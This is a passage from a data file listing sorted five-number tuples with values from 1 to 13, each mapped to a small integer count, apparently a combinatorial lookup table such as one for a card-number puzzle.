(1, 5, 5, 7, 8): 4,
(1, 5, 5, 7, 9): 7,
(1, 5, 5, 7, 10): 6,
(1, 5, 5, 7, 11): 7,
(1, 5, 5, 7, 12): 5,
(1, 5, 5, 7, 13): 4,
(1, 5, 5, 8, 8): 5,
(1, 5, 5, 8, 9): 7,
(1, 5, 5, 8, 10): 7,
(1, 5, 5, 8, 11): 4,
(1, 5, 5, 8, 12): 5,
(1, 5, 5, 8, 13): 1,
(1, 5, 5, 9, 9): 4,
(1, 5, 5, 9, 10): 8,
(1, 5, 5, 9, 11): 3,
(1, 5, 5, 9, 12): 6,
(1, 5, 5, 9, 13): 2,
(1, 5, 5, 10, 10): 2,
(1, 5, 5, 10, 11): 4,
(1, 5, 5, 10, 12): 8,
(1, 5, 5, 10, 13): 5,
(1, 5, 5, 11, 11): 3,
(1, 5, 5, 11, 12): 4,
(1, 5, 5, 11, 13): 4,
(1, 5, 5, 12, 12): 4,
(1, 5, 5, 12, 13): 1,
(1, 5, 5, 13, 13): 2,
(1, 5, 6, 6, 6): 5,
(1, 5, 6, 6, 7): 8,
(1, 5, 6, 6, 8): 3,
(1, 5, 6, 6, 9): 3,
(1, 5, 6, 6, 10): 4,
(1, 5, 6, 6, 11): 5,
(1, 5, 6, 6, 12): 9,
(1, 5, 6, 6, 13): 8,
(1, 5, 6, 7, 7): 8,
(1, 5, 6, 7, 8): 13,
(1, 5, 6, 7, 9): 4,
(1, 5, 6, 7, 10): 10,
(1, 5, 6, 7, 11): 13,
(1, 5, 6, 7, 12): 24,
(1, 5, 6, 7, 13): 11,
(1, 5, 6, 8, 8): 6,
(1, 5, 6, 8, 9): 22,
(1, 5, 6, 8, 10): 18,
(1, 5, 6, 8, 11): 9,
(1, 5, 6, 8, 12): 11,
(1, 5, 6, 8, 13): 7,
(1, 5, 6, 9, 9): 14,
(1, 5, 6, 9, 10): 13,
(1, 5, 6, 9, 11): 8,
(1, 5, 6, 9, 12): 16,
(1, 5, 6, 9, 13): 5,
(1, 5, 6, 10, 10): 7,
(1, 5, 6, 10, 11): 5,
(1, 5, 6, 10, 12): 15,
(1, 5, 6, 10, 13): 8,
(1, 5, 6, 11, 11): 2,
(1, 5, 6, 11, 12): 15,
(1, 5, 6, 11, 13): 7,
(1, 5, 6, 12, 12): 9,
(1, 5, 6, 12, 13): 14,
(1, 5, 6, 13, 13): 3,
(1, 5, 7, 7, 7): 2,
(1, 5, 7, 7, 8): 5,
(1, 5, 7, 7, 9): 8,
(1, 5, 7, 7, 10): 5,
(1, 5, 7, 7, 11): 5,
(1, 5, 7, 7, 12): 4,
(1, 5, 7, 7, 13): 7,
(1, 5, 7, 8, 8): 6,
(1, 5, 7, 8, 9): 7,
(1, 5, 7, 8, 10): 11,
(1, 5, 7, 8, 11): 7,
(1, 5, 7, 8, 12): 10,
(1, 5, 7, 8, 13): 5,
(1, 5, 7, 9, 9): 6,
(1, 5, 7, 9, 10): 12,
(1, 5, 7, 9, 11): 10,
(1, 5, 7, 9, 12): 8,
(1, 5, 7, 9, 13): 4,
(1, 5, 7, 10, 10): 6,
(1, 5, 7, 10, 11): 5,
(1, 5, 7, 10, 12): 12,
(1, 5, 7, 10, 13): 7,
(1, 5, 7, 11, 11): 4,
(1, 5, 7, 11, 12): 5,
(1, 5, 7, 11, 13): 9,
(1, 5, 7, 12, 12): 8,
(1, 5, 7, 12, 13): 5,
(1, 5, 7, 13, 13): 4,
(1, 5, 8, 8, 8): 2,
(1, 5, 8, 8, 9): 4,
(1, 5, 8, 8, 10): 5,
(1, 5, 8, 8, 11): 5,
(1, 5, 8, 8, 12): 1,
(1, 5, 8, 8, 13): 2,
(1, 5, 8, 9, 9): 4,
(1, 5, 8, 9, 10): 15,
(1, 5, 8, 9, 11): 8,
(1, 5, 8, 9, 12): 17,
(1, 5, 8, 9, 13): 3,
(1, 5, 8, 10, 10): 5,
(1, 5, 8, 10, 11): 16,
(1, 5, 8, 10, 12): 9,
(1, 5, 8, 10, 13): 9,
(1, 5, 8, 11, 11): 3,
(1, 5, 8, 11, 12): 10,
(1, 5, 8, 11, 13): 3,
(1, 5, 8, 12, 12): 5,
(1, 5, 8, 12, 13): 10,
(1, 5, 8, 13, 13): 3,
(1, 5, 9, 9, 10): 2,
(1, 5, 9, 9, 11): 7,
(1, 5, 9, 9, 12): 6,
(1, 5, 9, 9, 13): 5,
(1, 5, 9, 10, 10): 2,
(1, 5, 9, 10, 11): 5,
(1, 5, 9, 10, 12): 16,
(1, 5, 9, 10, 13): 6,
(1, 5, 9, 11, 11): 2,
(1, 5, 9, 11, 12): 6,
(1, 5, 9, 11, 13): 8,
(1, 5, 9, 12, 12): 5,
(1, 5, 9, 12, 13): 4,
(1, 5, 9, 13, 13): 2,
(1, 5, 10, 10, 10): 1,
(1, 5, 10, 10, 11): 3,
(1, 5, 10, 10, 12): 3,
(1, 5, 10, 10, 13): 5,
(1, 5, 10, 11, 11): 2,
(1, 5, 10, 11, 12): 4,
(1, 5, 10, 11, 13): 5,
(1, 5, 10, 12, 12): 3,
(1, 5, 10, 12, 13): 6,
(1, 5, 10, 13, 13): 3,
(1, 5, 11, 11, 12): 1,
(1, 5, 11, 11, 13): 3,
(1, 5, 11, 12, 12): 2,
(1, 5, 11, 12, 13): 7,
(1, 5, 11, 13, 13): 4,
(1, 5, 12, 12, 12): 1,
(1, 5, 12, 12, 13): 4,
(1, 5, 12, 13, 13): 1,
(1, 6, 6, 6, 6): 1,
(1, 6, 6, 6, 7): 2,
(1, 6, 6, 6, 8): 1,
(1, 6, 6, 6, 9): 1,
(1, 6, 6, 6, 10): 1,
(1, 6, 6, 6, 11): 2,
(1, 6, 6, 6, 12): 2,
(1, 6, 6, 6, 13): 3,
(1, 6, 6, 7, 7): 1,
(1, 6, 6, 7, 8): 8,
(1, 6, 6, 7, 9): 6,
(1, 6, 6, 7, 10): 1,
(1, 6, 6, 7, 11): 5,
(1, 6, 6, 7, 12): 13,
(1, 6, 6, 7, 13): 12,
(1, 6, 6, 8, 8): 5,
(1, 6, 6, 8, 9): 9,
(1, 6, 6, 8, 10): 4,
(1, 6, 6, 8, 11): 2,
(1, 6, 6, 8, 12): 11,
(1, 6, 6, 8, 13): 7,
(1, 6, 6, 9, 9): 5,
(1, 6, 6, 9, 10): 5,
(1, 6, 6, 9, 11): 4,
(1, 6, 6, 9, 12): 9,
(1, 6, 6, 9, 13): 3,
(1, 6, 6, 10, 10): 2,
(1, 6, 6, 10, 11): 4,
(1, 6, 6, 10, 12): 8,
(1, 6, 6, 10, 13): 2,
(1, 6, 6, 11, 11): 2,
(1, 6, 6, 11, 12): 4,
(1, 6, 6, 11, 13): 4,
(1, 6, 6, 12, 12): 6,
(1, 6, 6, 12, 13): 4,
(1, 6, 6, 13, 13): 3,
(1, 6, 7, 7, 7): 2,
(1, 6, 7, 7, 8): 9,
(1, 6, 7, 7, 9): 4,
(1, 6, 7, 7, 10): 3,
(1, 6, 7, 7, 11): 1,
(1, 6, 7, 7, 12): 10,
(1, 6, 7, 7, 13): 12,
(1, 6, 7, 8, 8): 4,
(1, 6, 7, 8, 9): 11,
(1, 6, 7, 8, 10): 4,
(1, 6, 7, 8, 11): 8,
(1, 6, 7, 8, 12): 11,
(1, 6, 7, 8, 13): 13,
(1, 6, 7, 9, 9): 2,
(1, 6, 7, 9, 10): 10,
(1, 6, 7, 9, 11): 3,
(1, 6, 7, 9, 12): 16,
(1, 6, 7, 9, 13): 5,
(1, 6, 7, 10, 10): 4,
(1, 6, 7, 10, 11): 8,
(1, 6, 7, 10, 12): 10,
(1, 6, 7, 10, 13): 4,
(1, 6, 7, 11, 11): 4,
(1, 6, 7, 11, 12): 10,
(1, 6, 7, 11, 13): 4,
(1, 6, 7, 12, 12): 5,
(1, 6, 7, 12, 13): 10,
(1, 6, 7, 13, 13): 3,
(1, 6, 8, 8, 8): 2,
(1, 6, 8, 8, 9): 3,
(1, 6, 8, 8, 10): 7,
(1, 6, 8, 8, 11): 1,
(1, 6, 8, 8, 12): 8,
(1, 6, 8, 8, 13): 3,
(1, 6, 8, 9, 9): 3,
(1, 6, 8, 9, 10): 7,
(1, 6, 8, 9, 11): 17,
(1, 6, 8, 9, 12): 12,
(1, 6, 8, 9, 13): 9,
(1, 6, 8, 10, 10): 6,
(1, 6, 8, 10, 11): 7,
(1, 6, 8, 10, 12): 20,
(1, 6, 8, 10, 13): 6,
(1, 6, 8, 11, 11): 4,
(1, 6, 8, 11, 12): 6,
(1, 6, 8, 11, 13): 9,
(1, 6, 8, 12, 12): 9,
(1, 6, 8, 12, 13): 6,
(1, 6, 8, 13, 13): 5,
(1, 6, 9, 9, 9): 2,
(1, 6, 9, 9, 10): 4,
(1, 6, 9, 9, 11): 6,
(1, 6, 9, 9, 12): 13,
(1, 6, 9, 9, 13): 5,
(1, 6, 9, 10, 10): 3,
(1, 6, 9, 10, 11): 8,
(1, 6, 9, 10, 12): 9,
(1, 6, 9, 10, 13): 10,
(1, 6, 9, 11, 11): 3,
(1, 6, 9, 11, 12): 12,
(1, 6, 9, 11, 13): 5,
(1, 6, 9, 12, 12): 12,
(1, 6, 9, 12, 13): 12,
(1, 6, 9, 13, 13): 3,
(1, 6, 10, 10, 11): 1,
(1, 6, 10, 10, 12): 6,
(1, 6, 10, 10, 13): 2,
(1, 6, 10, 11, 11): 1,
(1, 6, 10, 11, 12): 3,
(1, 6, 10, 11, 13): 11,
(1, 6, 10, 12, 12): 10,
(1, 6, 10, 12, 13): 7,
(1, 6, 10, 13, 13): 6,
(1, 6, 11, 11, 12): 4,
(1, 6, 11, 11, 13): 4,
(1, 6, 11, 12, 12): 2,
(1, 6, 11, 12, 13): 10,
(1, 6, 11, 13, 13): 2,
(1, 6, 12, 12, 12): 2,
(1, 6, 12, 12, 13): 1,
(1, 7, 7, 7, 7): 1,
(1, 7, 7, 7, 8): 4,
(1, 7, 7, 7, 9): 3,
(1, 7, 7, 7, 10): 1,
(1, 7, 7, 7, 11): 2,
(1, 7, 7, 7, 12): 3,
(1, 7, 7, 7, 13): 3,
(1, 7, 7, 8, 8): 4,
(1, 7, 7, 8, 9): 1,
(1, 7, 7, 8, 10): 4,
(1, 7, 7, 8, 11): 1,
(1, 7, 7, 8, 12): 7,
(1, 7, 7, 8, 13): 7,
(1, 7, 7, 9, 9): 1,
(1, 7, 7, 9, 10): 3,
(1, 7, 7, 9, 11): 5,
(1, 7, 7, 9, 12): 5,
(1, 7, 7, 9, 13): 5,
(1, 7, 7, 10, 10): 1,
(1, 7, 7, 10, 11): 5,
(1, 7, 7, 10, 12): 7,
(1, 7, 7, 10, 13): 1,
(1, 7, 7, 11, 11): 1,
(1, 7, 7, 11, 12): 2,
(1, 7, 7, 11, 13): 5,
(1, 7, 7, 12, 12): 3,
(1, 7, 7, 12, 13): 2,
(1, 7, 7, 13, 13): 3,
(1, 7, 8, 8, 8): 2,
(1, 7, 8, 8, 9): 3,
(1, 7, 8, 8, 10): 1,
(1, 7, 8, 8, 11): 2,
(1, 7, 8, 8, 12): 2,
(1, 7, 8, 8, 13): 5,
(1, 7, 8, 9, 9): 2,
(1, 7, 8, 9, 10): 5,
(1, 7, 8, 9, 11): 4,
(1, 7, 8, 9, 12): 14,
(1, 7, 8, 9, 13): 6,
(1, 7, 8, 10, 10): 6,
(1, 7, 8, 10, 11): 9,
(1, 7, 8, 10, 12): 8,
(1, 7, 8, 10, 13): 9,
(1, 7, 8, 11, 11): 4,
(1, 7, 8, 11, 12): 6,
(1, 7, 8, 11, 13): 1,
(1, 7, 8, 12, 12): 4,
(1, 7, 8, 12, 13): 10,
(1, 7, 8, 13, 13): 4,
(1, 7, 9, 9, 10): 2,
(1, 7, 9, 9, 11): 5,
(1, 7, 9, 9, 12): 6,
(1, 7, 9, 9, 13): 4,
(1, 7, 9, 10, 10): 3,
(1, 7, 9, 10, 11): 6,
(1, 7, 9, 10, 12): 12,
(1, 7, 9, 10, 13): 3,
(1, 7, 9, 11, 11): 4,
(1, 7, 9, 11, 12): 5,
(1, 7, 9, 11, 13): 6,
(1, 7, 9, 12, 12): 5,
(1, 7, 9, 12, 13): 5,
(1, 7, 9, 13, 13): 4,
(1, 7, 10, 10, 11): 4,
(1, 7, 10, 10, 12): 3,
(1, 7, 10, 10, 13): 4,
(1, 7, 10, 11, 12): 9,
(1, 7, 10, 11, 13): 6,
(1, 7, 10, 12, 12): 2,
(1, 7, 10, 12, 13): 10,
(1, 7, 10, 13, 13): 1,
(1, 7, 11, 11, 12): 2,
(1, 7, 11, 11, 13): 6,
(1, 7, 11, 12, 12): 5,
(1, 7, 11, 12, 13): 5,
(1, 7, 11, 13, 13): 4,
(1, 7, 12, 12, 12): 2,
(1, 7, 12, 12, 13): 2,
(1, 7, 12, 13, 13): 1,
(1, 8, 8, 8, 10): 1,
(1, 8, 8, 8, 12): 1,
(1, 8, 8, 8, 13): 2,
(1, 8, 8, 9, 11): 1,
(1, 8, 8, 9, 12): 4,
(1, 8, 8, 9, 13): 4,
(1, 8, 8, 10, 10): 1,
(1, 8, 8, 10, 11): 3,
(1, 8, 8, 10, 12): 6,
(1, 8, 8, 10, 13): 4,
(1, 8, 8, 11, 11): 2,
(1, 8, 8, 11, 12): 2,
(1, 8, 8, 11, 13): 3,
(1, 8, 8, 12, 12): 1,
(1, 8, 8, 12, 13): 2,
(1, 8, 8, 13, 13): 2,
(1, 8, 9, 9, 11): 1,
(1, 8, 9, 9, 12): 3,
(1, 8, 9, 9, 13): 3,
(1, 8, 9, 10, 11): 5,
(1, 8, 9, 10, 12): 7,
(1, 8, 9, 10, 13): 6,
(1, 8, 9, 11, 11): 3,
(1, 8, 9, 11, 12): 9,
(1, 8, 9, 11, 13): 5,
(1, 8, 9, 12, 12): 2,
(1, 8, 9, 12, 13): 4,
(1, 8, 9, 13, 13): 1,
(1, 8, 10, 10, 10): 1,
(1, 8, 10, 10, 11): 1,
(1, 8, 10, 10, 12): 4,
(1, 8, 10, 10, 13): 5,
(1, 8, 10, 11, 11): 5,
(1, 8, 10, 11, 12): 7,
(1, 8, 10, 11, 13): 8,
(1, 8, 10, 12, 12): 6,
(1, 8, 10, 12, 13): 4,
(1, 8, 10, 13, 13): 3,
(1, 8, 11, 11, 11): 1,
(1, 8, 11, 11, 12): 2,
(1, 8, 11, 11, 13): 3,
(1, 8, 11, 12, 12): 1,
(1, 8, 11, 12, 13): 6,
(1, 8, 11, 13, 13): 3,
(1, 8, 12, 12, 12): 1,
(1, 8, 12, 12, 13): 3,
(1, 8, 12, 13, 13): 3,
(1, 8, 13, 13, 13): 1,
(1, 9, 9, 9, 12): 1,
(1, 9, 9, 10, 11): 1,
(1, 9, 9, 10, 12): 2,
(1, 9, 9, 10, 13): 2,
(1, 9, 9, 11, 11): 2,
(1, 9, 9, 11, 12): 6,
(1, 9, 9, 11, 13): 3,
(1, 9, 9, 12, 12): 4,
(1, 9, 9, 12, 13): 2,
(1, 9, 9, 13, 13): 1,
(1, 9, 10, 10, 11): 2,
(1, 9, 10, 10, 12): 3,
(1, 9, 10, 10, 13): 2,
(1, 9, 10, 11, 11): 4,
(1, 9, 10, 11, 12): 10,
(1, 9, 10, 11, 13): 7,
(1, 9, 10, 12, 12): 6,
(1, 9, 10, 12, 13): 11,
(1, 9, 10, 13, 13): 2,
(1, 9, 11, 11, 11): 2,
(1, 9, 11, 11, 12): 3,
(1, 9, 11, 11, 13): 2,
(1, 9, 11, 12, 12): 3,
(1, 9, 11, 12, 13): 3,
(1, 9, 11, 13, 13): 3,
(1, 9, 12, 12, 12): 1,
(1, 9, 12, 12, 13): 1,
(1, 9, 12, 13, 13): 2,
(1, 9, 13, 13, 13): 1,
(1, 10, 10, 10, 11): 2,
(1, 10, 10, 10, 12): 2,
(1, 10, 10, 10, 13): 1,
(1, 10, 10, 11, 11): 2,
(1, 10, 10, 11, 12): 4,
(1, 10, 10, 11, 13): 5,
(1, 10, 10, 12, 12): 2,
(1, 10, 10, 12, 13): 2,
(1, 10, 10, 13, 13): 2,
(1, 10, 11, 11, 11): 2,
(1, 10, 11, 11, 12): 2,
(1, 10, 11, 11, 13): 1,
(1, 10, 11, 12, 12): 1,
(1, 10, 11, 12, 13): 5,
(1, 10, 11, 13, 13): 2,
(1, 10, 12, 12, 13): 1,
(1, 11, 11, 11, 13): 1,
(2, 2, 2, 2, 5): 4,
(2, 2, 2, 2, 7): 3,
(2, 2, 2, 2, 8): 2,
(2, 2, 2, 2, 9): 5,
(2, 2, 2, 2, 10): 2,
(2, 2, 2, 2, 11): 2,
(2, 2, 2, 2, 12): 4,
(2, 2, 2, 2, 13): 4,
(2, 2, 2, 3, 3): 4,
(2, 2, 2, 3, 4): 8,
(2, 2, 2, 3, 5): 3,
(2, 2, 2, 3, 6): 10,
(2, 2, 2, 3, 7): 7,
(2, 2, 2, 3, 8): 10,
(2, 2, 2, 3, 9): 9,
(2, 2, 2, 3, 10): 10,
(2, 2, 2, 3, 11): 9,
(2, 2, 2, 3, 12): 12,
(2, 2, 2, 3, 13): 8,
(2, 2, 2, 4, 4): 1,
(2, 2, 2, 4, 5): 7,
(2, 2, 2, 4, 6): 9,
(2, 2, 2, 4, 7): 12,
(2, 2, 2, 4, 8): 3,
(2, 2, 2, 4, 9): 8,
(2, 2, 2, 4, 10): 18,
(2, 2, 2, 4, 11): 19,
(2, 2, 2, 4, 12): 13,
(2, 2, 2, 4, 13): 8,
(2, 2, 2, 5, 5): 6,
(2, 2, 2, 5, 6): 8,
(2, 2, 2, 5, 7): 8,
(2, 2, 2, 5, 8): 8,
(2, 2, 2, 5, 9): 7,
(2, 2, 2, 5, 10): 10,
(2, 2, 2, 5, 11): 5,
(2, 2, 2, 5, 12): 13,
(2, 2, 2, 5, 13): 6,
(2, 2, 2, 6, 6): 10,
(2, 2, 2, 6, 7): 10,
(2, 2, 2, 6, 8): 15,
(2, 2, 2, 6, 9): 9,
(2, 2, 2, 6, 10): 10,
(2, 2, 2, 6, 11): 8,
(2, 2, 2, 6, 12): 9,
(2, 2, 2, 6, 13): 12,
(2, 2, 2, 7, 7): 9,
(2, 2, 2, 7, 8): 8,
(2, 2, 2, 7, 9): 4,
(2, 2, 2, 7, 10): 7,
(2, 2, 2, 7, 11): 3,
(2, 2, 2, 7, 12): 12,
(2, 2, 2, 7, 13): 4,
(2, 2, 2, 8, 8): 4,
(2, 2, 2, 8, 9): 9,
(2, 2, 2, 8, 10): 7,
(2, 2, 2, 8, 11): 10,
(2, 2, 2, 8, 12): 10,
(2, 2, 2, 8, 13): 10,
(2, 2, 2, 9, 9): 1,
(2, 2, 2, 9, 10): 7,
(2, 2, 2, 9, 11): 3,
(2, 2, 2, 9, 12): 9,
(2, 2, 2, 9, 13): 3,
(2, 2, 2, 10, 10): 6,
(2, 2, 2, 10, 11): 7,
(2, 2, 2, 10, 12): 9,
(2, 2, 2, 10, 13): 4,
(2, 2, 2, 11, 11): 3,
(2, 2, 2, 11, 12): 7,
(2, 2, 2, 11, 13): 1,
(2, 2, 2, 12, 12): 6,
(2, 2, 2, 12, 13): 7,
(2, 2, 3, 3, 3): 5,
(2, 2, 3, 3, 4): 7,
(2, 2, 3, 3, 5): 6,
(2, 2, 3, 3, 6): 16,
(2, 2, 3, 3, 7): 9,
(2, 2, 3, 3, 8): 7,
(2, 2, 3, 3, 9): 12,
(2, 2, 3, 3, 10): 11,
(2, 2, 3, 3, 11): 11,
(2, 2, 3, 3, 12): 18,
(2, 2, 3, 3, 13): 6,
(2, 2, 3, 4, 4): 9,
(2, 2, 3, 4, 5): 15,
(2, 2, 3, 4, 6): 24,
(2, 2, 3, 4, 7): 18,
(2, 2, 3, 4, 8): 25,
(2, 2, 3, 4, 9): 15,
(2, 2, 3, 4, 10): 26,
(2, 2, 3, 4, 11): 20,
(2, 2, 3, 4, 12): 23,
(2, 2, 3, 4, 13): 16,
(2, 2, 3, 5, 5): 8,
(2, 2, 3, 5, 6): 19,
(2, 2, 3, 5, 7): 20,
(2, 2, 3, 5, 8): 17,
(2, 2, 3, 5, 9): 11,
(2, 2, 3, 5, 10): 20,
(2, 2, 3, 5, 11): 15,
(2, 2, 3, 5, 12): 15,
(2, 2, 3, 5, 13): 13,
(2, 2, 3, 6, 6): 22,
(2, 2, 3, 6, 7): 21,
(2, 2, 3, 6, 8): 21,
(2, 2, 3, 6, 9): 36,
(2, 2, 3, 6, 10): 22,
(2, 2, 3, 6, 11): 20,
(2, 2, 3, 6, 12): 37,
(2, 2, 3, 6, 13): 17,
(2, 2, 3, 7, 7): 12,
(2, 2, 3, 7, 8): 19,
(2, 2, 3, 7, 9): 14,
(2, 2, 3, 7, 10): 14,
(2, 2, 3, 7, 11): 15,
(2, 2, 3, 7, 12): 17,
(2, 2, 3, 7, 13): 21,
(2, 2, 3, 8, 8): 12,
(2, 2, 3, 8, 9): 18,
(2, 2, 3, 8, 10): 21,
(2, 2, 3, 8, 11): 12,
(2, 2, 3, 8, 12): 23,
(2, 2, 3, 8, 13): 14,
(2, 2, 3, 9, 9): 13,
(2, 2, 3, 9, 10): 14,
(2, 2, 3, 9, 11): 13,
(2, 2, 3, 9, 12): 24,
(2, 2, 3, 9, 13): 8,
(2, 2, 3, 10, 10): 13,
(2, 2, 3, 10, 11): 18,
(2, 2, 3, 10, 12): 15,
(2, 2, 3, 10, 13): 15,
(2, 2, 3, 11, 11): 4,
(2, 2, 3, 11, 12): 13,
(2, 2, 3, 11, 13): 10,
(2, 2, 3, 12, 12): 12,
(2, 2, 3, 12, 13): 13,
(2, 2, 3, 13, 13): 6,
(2, 2, 4, 4, 4): 2,
(2, 2, 4, 4, 5): 14,
(2, 2, 4, 4, 6): 12,
(2, 2, 4, 4, 7): 12,
(2, 2, 4, 4, 8): 7,
(2, 2, 4, 4, 9): 13,
(2, 2, 4, 4, 10): 13,
(2, 2, 4, 4, 11): 11,
(2, 2, 4, 4, 12): 11,
(2, 2, 4, 4, 13): 14,
(2, 2, 4, 5, 5): 6,
(2, 2, 4, 5, 6): 22,
(2, 2, 4, 5, 7): 18,
(2, 2, 4, 5, 8): 25,
(2, 2, 4, 5, 9): 18,
(2, 2, 4, 5, 10): 20,
(2, 2, 4, 5, 11): 10,
(2, 2, 4, 5, 12): 28,
(2, 2, 4, 5, 13): 11,
(2, 2, 4, 6, 6): 14,
(2, 2, 4, 6, 7): 21,
(2, 2, 4, 6, 8): 32,
(2, 2, 4, 6, 9): 23,
(2, 2, 4, 6, 10): 33,
(2, 2, 4, 6, 11): 27,
(2, 2, 4, 6, 12): 33,
(2, 2, 4, 6, 13): 28,
(2, 2, 4, 7, 7): 15,
(2, 2, 4, 7, 8): 24,
(2, 2, 4, 7, 9): 17,
(2, 2, 4, 7, 10): 25,
(2, 2, 4, 7, 11): 13,
(2, 2, 4, 7, 12): 24,
(2, 2, 4, 7, 13): 13,
(2, 2, 4, 8, 8): 5,
(2, 2, 4, 8, 9): 20,
(2, 2, 4, 8, 10): 33,
(2, 2, 4, 8, 11): 30,
(2, 2, 4, 8, 12): 19,
(2, 2, 4, 8, 13): 19,
(2, 2, 4, 9, 9): 2,
(2, 2, 4, 9, 10): 22,
(2, 2, 4, 9, 11): 12,
(2, 2, 4, 9, 12): 21,
(2, 2, 4, 9, 13): 9,
(2, 2, 4, 10, 10): 12,
(2, 2, 4, 10, 11): 17,
(2, 2, 4, 10, 12): 34,
(2, 2, 4, 10, 13): 15,
(2, 2, 4, 11, 11): 5,
(2, 2, 4, 11, 12): 20,
(2, 2, 4, 11, 13): 6,
(2, 2, 4, 12, 12): 10,
(2, 2, 4, 12, 13): 12,
(2, 2, 4, 13, 13): 5,
(2, 2, 5, 5, 5): 3,
(2, 2, 5, 5, 6): 9,
(2, 2, 5, 5, 7): 9,
(2, 2, 5, 5, 8): 7,
(2, 2, 5, 5, 9): 5,
(2, 2, 5, 5, 10): 6,
(2, 2, 5, 5, 11): 7,
(2, 2, 5, 5, 12): 9,
(2, 2, 5, 5, 13): 8,
(2, 2, 5, 6, 6): 15,
(2, 2, 5, 6, 7): 20,
(2, 2, 5, 6, 8): 33,
(2, 2, 5, 6, 9): 9,
(2, 2, 5, 6, 10): 15,
(2, 2, 5, 6, 11): 16,
(2, 2, 5, 6, 12): 17,
(2, 2, 5, 6, 13): 18,
(2, 2, 5, 7, 7): 10,
(2, 2, 5, 7, 8): 13,
(2, 2, 5, 7, 9): 18,
(2, 2, 5, 7, 10): 16,
(2, 2, 5, 7, 11): 17,
(2, 2, 5, 7, 12): 17,
(2, 2, 5, 7, 13): 11,
(2, 2, 5, 8, 8): 13,
(2, 2, 5, 8, 9): 13,
(2, 2, 5, 8, 10): 21,
(2, 2, 5, 8, 11): 10,
(2, 2, 5, 8, 12): 17,
(2, 2, 5, 8, 13): 6,
(2, 2, 5, 9, 9): 6,
(2, 2, 5, 9, 10): 12,
(2, 2, 5, 9, 11): 6,
(2, 2, 5, 9, 12): 17,
(2, 2, 5, 9, 13): 11,
(2, 2, 5, 10, 10): 9,
(2, 2, 5, 10, 11): 12,
(2, 2, 5, 10, 12): 25,
(2, 2, 5, 10, 13): 11,
(2, 2, 5, 11, 11): 8,
(2, 2, 5, 11, 12): 12,
(2, 2, 5, 11, 13): 6,
(2, 2, 5, 12, 12): 9,
(2, 2, 5, 12, 13): 11,
(2, 2, 5, 13, 13): 3,
(2, 2, 6, 6, 6): 7,
(2, 2, 6, 6, 7): 10,
(2, 2, 6, 6, 8): 8,
(2, 2, 6, 6, 9): 15,
(2, 2, 6, 6, 10): 14,
(2, 2, 6, 6, 11): 11,
(2, 2, 6, 6, 12): 23,
(2, 2, 6, 6, 13): 6,
(2, 2, 6, 7, 7): 12,
(2, 2, 6, 7, 8): 21,
(2, 2, 6, 7, 9): 18,
(2, 2, 6, 7, 10): 23,
(2, 2, 6, 7, 11): 15,
(2, 2, 6, 7, 12): 25,
(2, 2, 6, 7, 13): 10,
(2, 2, 6, 8, 8): 11,
(2, 2, 6, 8, 9): 22,
(2, 2, 6, 8, 10): 30,
(2, 2, 6, 8, 11): 19,
(2, 2, 6, 8, 12): 24,
(2, 2, 6, 8, 13): 18,
(2, 2, 6, 9, 9): 15,
(2, 2, 6, 9, 10): 13,
(2, 2, 6, 9, 11): 5,
(2, 2, 6, 9, 12): 27,
(2, 2, 6, 9, 13): 12,
(2, 2, 6, 10, 10): 8,
(2, 2, 6, 10, 11): 17,
(2, 2, 6, 10, 12): 29,
(2, 2, 6, 10, 13): 15,
(2, 2, 6, 11, 11): 5,
(2, 2, 6, 11, 12): 17,
(2, 2, 6, 11, 13): 7,
(2, 2, 6, 12, 12): 17,
(2, 2, 6, 12, 13): 13,
(2, 2, 6, 13, 13): 4,
(2, 2, 7, 7, 7): 9,
(2, 2, 7, 7, 8): 13,
(2, 2, 7, 7, 9): 11,
(2, 2, 7, 7, 10): 12,
(2, 2, 7, 7, 11): 9,
(2, 2, 7, 7, 12): 10,
(2, 2, 7, 7, 13): 4,
(2, 2, 7, 8, 8): 11,
(2, 2, 7, 8, 9): 13,
(2, 2, 7, 8, 10): 13,
(2, 2, 7, 8, 11): 7,
(2, 2, 7, 8, 12): 23,
(2, 2, 7, 8, 13): 8,
(2, 2, 7, 9, 9): 4,
(2, 2, 7, 9, 10): 12,
(2, 2, 7, 9, 11): 16,
(2, 2, 7, 9, 12): 11,
(2, 2, 7, 9, 13): 9,
(2, 2, 7, 10, 10): 10,
(2, 2, 7, 10, 11): 7,
(2, 2, 7, 10, 12): 21,
(2, 2, 7, 10, 13): 9,
(2, 2, 7, 11, 11): 4,
(2, 2, 7, 11, 12): 12,
(2, 2, 7, 11, 13): 14,
(2, 2, 7, 12, 12): 7,
(2, 2, 7, 12, 13): 11,
(2, 2, 7, 13, 13): 5,
(2, 2, 8, 8, 8): 3,
(2, 2, 8, 8, 9): 8,
(2, 2, 8, 8, 10): 13,
(2, 2, 8, 8, 11): 17,
(2, 2, 8, 8, 12): 9,
(2, 2, 8, 8, 13): 9,
(2, 2, 8, 9, 9): 1,
(2, 2, 8, 9, 10): 16,
(2, 2, 8, 9, 11): 5,
(2, 2, 8, 9, 12): 19,
(2, 2, 8, 9, 13): 7,
(2, 2, 8, 10, 10): 11,
(2, 2, 8, 10, 11): 12,
(2, 2, 8, 10, 12): 15,
(2, 2, 8, 10, 13): 11,
(2, 2, 8, 11, 11): 3,
(2, 2, 8, 11, 12): 13,
(2, 2, 8, 11, 13): 7,
(2, 2, 8, 12, 12): 9,
(2, 2, 8, 12, 13): 13,
(2, 2, 8, 13, 13): 5,
(2, 2, 9, 9, 10): 3,
(2, 2, 9, 9, 11): 3,
(2, 2, 9, 9, 12): 10,
(2, 2, 9, 9, 13): 4,
(2, 2, 9, 10, 10): 5,
(2, 2, 9, 10, 11): 10,
(2, 2, 9, 10, 12): 14,
(2, 2, 9, 10, 13): 4,
(2, 2, 9, 11, 11): 7,
(2, 2, 9, 11, 12): 5,
(2, 2, 9, 11, 13): 6,
(2, 2, 9, 12, 12): 11,
(2, 2, 9, 12, 13): 5,
(2, 2, 9, 13, 13): 3,
(2, 2, 10, 10, 10): 3,
(2, 2, 10, 10, 11): 4,
(2, 2, 10, 10, 12): 10,
(2, 2, 10, 10, 13): 6,
(2, 2, 10, 11, 11): 5,
(2, 2, 10, 11, 12): 10,
(2, 2, 10, 11, 13): 8,
(2, 2, 10, 12, 12): 9,
(2, 2, 10, 12, 13): 9,
(2, 2, 10, 13, 13): 6,
(2, 2, 11, 11, 11): 2,
(2, 2, 11, 11, 12): 4,
(2, 2, 11, 11, 13): 5,
(2, 2, 11, 12, 12): 5,
(2, 2, 11, 12, 13): 5,
(2, 2, 11, 13, 13): 1,
(2, 2, 12, 12, 12): 4,
(2, 2, 12, 12, 13): 7,
